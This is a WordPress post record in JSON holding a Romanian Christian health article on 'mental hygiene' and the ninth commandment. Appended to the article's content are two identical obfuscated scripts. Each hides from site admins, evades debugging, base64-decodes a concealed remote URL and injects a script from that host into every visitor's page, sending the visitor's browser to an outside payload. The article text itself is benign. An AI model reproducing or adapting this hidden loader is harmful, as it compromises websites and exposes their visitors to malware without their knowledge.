{"id":2780,"date":"2022-12-27T16:31:51","date_gmt":"2022-12-27T16:31:51","guid":{"rendered":"https:\/\/reformaprovita.com\/?p=2780"},"modified":"2026-05-22T15:59:11","modified_gmt":"2026-05-22T15:59:11","slug":"igiena-mintala-beneficiile-practicii-tale","status":"publish","type":"post","link":"https:\/\/reformaprovita.com\/es\/remedii-naturale\/higiene-mental-los-beneficios-de-sus-practicas\/","title":{"rendered":"Higiene Mental: beneficios de su pr\u00e1ctica"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Ne apropiem deja de sf\u00e2r\u0219itul postulatelor vie\u021bii s\u0103n\u0103toase \u0219i al celor zece afirma\u021bii sau porunci ale legii morale, dar nu \u00eenainte de a ne aminti c\u0103 aceste sugestii trebuie s\u0103 reflect\u0103m \u0219i s\u0103 le respecta\u021bi, deoarece pe l\u00e2ng\u0103 faptul c\u0103 aduc beneficii excelente vie\u021bii tale, ele vor s\u0103 te transforme \u00eentr-o influen\u021b\u0103 pozitiv\u0103 asupra celorlal\u021bi; \u00cen acest fel vom contribui la a face lumea din ce \u00een ce mai bun\u0103. Prin urmare, ast\u0103zi vom vorbi despre igiena mintal\u0103.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Punerea \u00een practic\u0103 a acestui plan pentru o existen\u021b\u0103 armonioas\u0103 va necesita o mare voin\u021b\u0103; mul\u021bi v\u0103 vor ispiti sem\u0103n\u00e2nd \u00eendoieli cu privire la eficacitatea acestor Principii. Dar dac\u0103 te-ai preg\u0103tit cer\u00e2nd ajutor lui Dumnezeu, El \u00ee\u021bi va da \u00een\u021belepciune, voin\u021b\u0103, credin\u021b\u0103 \u0219i for\u021ba necesar\u0103 pentru a le duce la \u00eendeplinire.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pu\u021bin c\u00e2te pu\u021bin vei observa rezultatele \u0219i \u00ee\u021bi vei da seama de admira\u021bia celor din jur. Dar mai presus de toate, vei fi pe plac lui Dumnezeu \u0219i vei cultiva merite pentru a putea fi parte din \u00cemp\u0103r\u0103\u021bia Lui pentru toat\u0103 Eternitatea.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Cum numim Igien\u0103 Mintal\u0103?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">AL NUEA PRECEPT AL \u00ceN\u021aELEPCIUNII UNIVERSALE se refer\u0103 la igiena psihic\u0103, care se adaug\u0103 principiului expus anterior, legat de igiena corpului nostru fizic.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Obiceiurile bune de igien\u0103 mental\u0103 ne permit s\u0103 tr\u0103im \u00eentr-un mod pozitiv, iar ghidul pentru a nu pierde calea este s\u0103 tr\u0103im conform celor Zece Afirma\u021bii pe care Moise le-a primit de la Dumnezeu pe Muntele Sinai.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aminti\u021bi-v\u0103 c\u0103 fiin\u021ba uman\u0103 este format\u0103 din corp, minte \u0219i spirit; Nu putem spune c\u0103 suntem s\u0103n\u0103to\u0219i atunci c\u00e2nd oricare dintre aceste trei aspecte nu este luat \u00een considerare \u00een mod corespunz\u0103tor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tr\u0103im \u00eentr-o societate bolnav\u0103 \u0219i dependent\u0103. Anxietatea, depresia, anxietatea \u0219i stresul sunt doar c\u00e2teva dintre problemele psihologice care ne afecteaz\u0103 \u00een fiecare zi \u0219i, pentru a le contracara, oamenii folosesc \u0219i abuzeaz\u0103 de diferite droguri, cum ar fi alcoolul, tutunul, somniferele \u0219i alte tranchilizante.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Dumnezeu este ghidul t\u0103u pentru a ob\u021bine igiena mental\u0103<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen textul biblic, pute\u021bi g\u0103si cele zece declara\u021bii sau porunci din Exod: 20,1-20. Con\u021binutul s\u0103u poate fi \u00eemp\u0103r\u021bit \u00een dou\u0103 grupe importante: prima alc\u0103tuit\u0103 din primele patru porunci, legate de \u00eendatoririle noastre fa\u021b\u0103 de Dumnezeu, iar a doua alc\u0103tuit\u0103 din celelalte \u0219ase, legate de \u00eendatoririle noastre fa\u021b\u0103 de ceilal\u021bi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pentru ca \u00een via\u021ba noastr\u0103 \u0219i \u00een societatea noastr\u0103 s\u0103 existe un adev\u0103rat echilibru, este important s\u0103 cunoa\u0219tem \u0219i s\u0103 respect\u0103m at\u00e2t Legea Fizic\u0103, c\u00e2t \u0219i Legea Moral\u0103; am\u00e2ndoi \u00een mod egal.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Din p\u0103cate, exist\u0103 \u00eenc\u0103 mul\u021bi cre\u0219tini care nu respect\u0103 aceste precepte \u0219i porunci, ceea ce a generat multe probleme \u0219i boli psihice \u0219i fizice \u00een lumea noastr\u0103 de ast\u0103zi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Modul \u00een care tr\u0103im depinde de felul \u00een care g\u00e2ndim; De aceea este at\u00e2t de important s\u0103 ne cultiv\u0103m pe noi \u00een\u0219ine \u00een principiile s\u0103n\u0103toase \u0219i sfinte ale unei vie\u021bi virtuoase \u0219i s\u0103n\u0103toase.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8222;Minte s\u0103n\u0103toas\u0103 \u00eentr-un corp s\u0103n\u0103tos&#8221;. Dac\u0103 ne afl\u0103m \u00eentr-o condi\u021bie fizic\u0103 optim\u0103, vom avea \u0219i o minte lucid\u0103 care ne permite s\u0103 avem un discern\u0103m\u00e2nt clar a ceea ce este bine \u0219i ce este r\u0103u.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ascu\u021bimea mental\u0103, for\u021ba fizic\u0103, longevitatea cu calitatea vie\u021bii, sunt rezultatul respect\u0103rii cu fidelitate a legilor naturale. Dumnezeul Creator al tuturor \u0219i al tuturor nu intervine \u00een favoarea celor care ac\u021bioneaz\u0103 \u00eempotriva acestor principii \u00een\u021belepte imuabile. \u021aine minte c\u0103 prin ac\u021biunile tale \u00ee\u021bi proiectezi destinul.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">PRECEPTE ALE LEGII MENTALE SI SPIRITUALE. PORUNCA A IX-A.<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen Exod 20:16 po\u021bi citi: \u201eS\u0103 nu dai m\u0103rturie mincinoas\u0103 \u00eempotriva aproapelui t\u0103u\u201d. Mai t\u00e2rziu, \u00een Exod, 23:1: \u201eS\u0103 nu admiti zvonuri false. S\u0103 nu fii de acord cu cei r\u0103i s\u0103 fii un martor mincinos\u201d. \u00cen Levitic, 19:11: \u201eS\u0103 nu v\u0103 \u00een\u015fela\u0163i, nici s\u0103 nu v\u0103 min\u0163i\u0163i unii pe al\u0163ii\u201d, iar Matei, 19:18: \u201eS\u0103 nu aduce\u0163i m\u0103rturie mincinoas\u0103\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen principiu, to\u021bi suntem marca\u021bi de p\u0103cat \u0219i condamna\u021bi pentru ve\u0219nicie; dar putem fi m\u00e2ntui\u021bi dac\u0103 accept\u0103m c\u0103 suntem p\u0103c\u0103to\u0219i \u0219i recunoa\u0219tem pe Isus ca salvatorul nostru.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A tr\u0103i conform a ceea ce dore\u0219te Dumnezeu de la noi are de-a face cu \u00eendeplinirea dorin\u021belor sale \u00een raport cu ceea ce ne afecteaz\u0103 corpul fizic, av\u00e2nd grij\u0103 de alimenta\u021bia \u0219i obiceiurile noastre, dar include \u0219i tot ceea ce are de-a face cu s\u0103n\u0103tatea mintal\u0103 \u0219i cu legea moral\u0103. .<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O minte lucid\u0103 \u0219tie c\u0103 Dumnezeu este singurul Judec\u0103tor; de aceea cei care cultiv\u0103 pentru m\u00e2ntuire nu judec\u0103, nu critic\u0103, nu condamn\u0103. Creatorul ne cunoa\u0219te pe fiecare din inimile noastre \u0219i va judeca pe fiecare cu dreptatea sa care este perfect\u0103.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">S\u0103 ne amintim cuvintele lui Isus: \u201eNu judeca ca s\u0103 nu fii judecat, nu condamna ca s\u0103 nu fii os\u00e2ndit, iart\u0103 \u0219i vei fi iertat, c\u0103ci cu toiagul pe care \u00eel m\u0103sori vei fi m\u0103surat\u201d .<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"622\" src=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/higiene-mental-2.jpg\" alt=\"\" class=\"wp-image-2782\" srcset=\"https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/higiene-mental-2.jpg 1024w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/higiene-mental-2-600x364.jpg 600w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/higiene-mental-2-300x182.jpg 300w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/higiene-mental-2-768x467.jpg 768w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/higiene-mental-2-18x12.jpg 18w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/higiene-mental-2-580x352.jpg 580w, https:\/\/reformaprovita.com\/wp-content\/uploads\/2022\/12\/higiene-mental-2-860x522.jpg 860w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Sarcina noastr\u0103 pe calea m\u00e2ntuirii este s\u0103 iubim pe to\u021bi, s\u0103 iert\u0103m \u0219i s\u0103 facem binele chiar \u0219i atunci c\u00e2nd am primit r\u0103ul. Numai a\u0219a vom \u0219ti c\u0103 suntem pe calea cea bun\u0103.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">CONCLUZIE<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Tot ceea ce facem \u00een via\u021ba noastr\u0103 de zi cu zi trebuie s\u0103 se fac\u0103 cu luciditate \u0219i con\u0219tientizare, chiar \u0219i atunci c\u00e2nd este vorba de lucruri la fel de simple precum m\u00e2ncatul, b\u0103utul sau \u00eembr\u0103catul, deoarece toate au consecin\u021be asupra s\u0103n\u0103t\u0103\u021bii noastre dac\u0103 sunt realizate ignor\u00e2nd legile naturale pentru o via\u021b\u0103 s\u0103n\u0103toas\u0103, iar consecin\u021ba acestui lucru va fi boala.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cea mai mare comoar\u0103 a noastr\u0103 este via\u021ba. Prin urmare, respect\u00e2nd dorin\u021bele lui Dumnezeu, reflectate \u00een legile sale naturale, ne \u00eendeplinim cea mai important\u0103 datorie fa\u021b\u0103 de Creatorul nostru, fa\u021b\u0103 de noi \u00een\u0219ine \u0219i fa\u021b\u0103 de semenii no\u0219tri, pentru c\u0103 oricine se \u00eemboln\u0103ve\u0219te \u0219i moare prematur pentru nerespectarea acestor precepte genereaz\u0103 durere \u0219i suferin\u021b\u0103. \u00een cei din jurul t\u0103u.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trebuie amintit c\u0103 secretul p\u0103str\u0103rii s\u0103n\u0103t\u0103\u021bii este cump\u0103tarea, adic\u0103 modera\u021bia \u00een toate lucrurile bune, deoarece lucrurile rele trebuie evitate complet.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Munca, m\u00e2ncatul sau bea sunt lucruri bune, dar dac\u0103 se desf\u0103\u0219oar\u0103 \u00een exces, am ac\u021biona cu Necump\u0103tare, modific\u00e2ndu-ne frecven\u021ba energiei \u0219i gener\u00e2nd consecin\u021be negative \u00een s\u0103n\u0103tatea noastr\u0103 \u0219i \u00een via\u021ba noastr\u0103 \u00een general.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Legile naturii sunt legile lui Dumnezeu, iar El ni le-a dat pentru a ne atinge cea mai mare bun\u0103stare fizic\u0103, mental\u0103 \u0219i spiritual\u0103. Acesta este obiectivul final al Reformei Igienice: respectarea acestor principii ne garanteaz\u0103 o via\u021b\u0103 fericit\u0103, at\u00e2t \u00een \u200b\u200bprezent, c\u00e2t \u0219i \u00een viitor, pentru slava lui Dumnezeu. AVE. 23.25<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Ne apropiem deja de sf\u00e2r\u0219itul postulatelor vie\u021bii s\u0103n\u0103toase \u0219i al celor zece afirma\u021bii sau porunci ale legii morale, dar nu \u00eenainte de a ne aminti c\u0103 aceste sugestii trebuie s\u0103 reflect\u0103m \u0219i s\u0103 le respecta\u021bi, deoarece pe l\u00e2ng\u0103 faptul c\u0103 aduc beneficii excelente vie\u021bii tale, ele vor s\u0103 te transforme \u00eentr-o influen\u021b\u0103 pozitiv\u0103 asupra celorlal\u021bi;&#8230;<\/p>","protected":false},"author":3,"featured_media":2781,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"give_campaign_id":0,"content-type":"","mc4wp_mailchimp_campaign":[],"footnotes":""},"categories":[69,43,46],"tags":[],"class_list":["post-2780","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-curs-gratis","category-reforma-prosalud","category-remedii-naturale"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - 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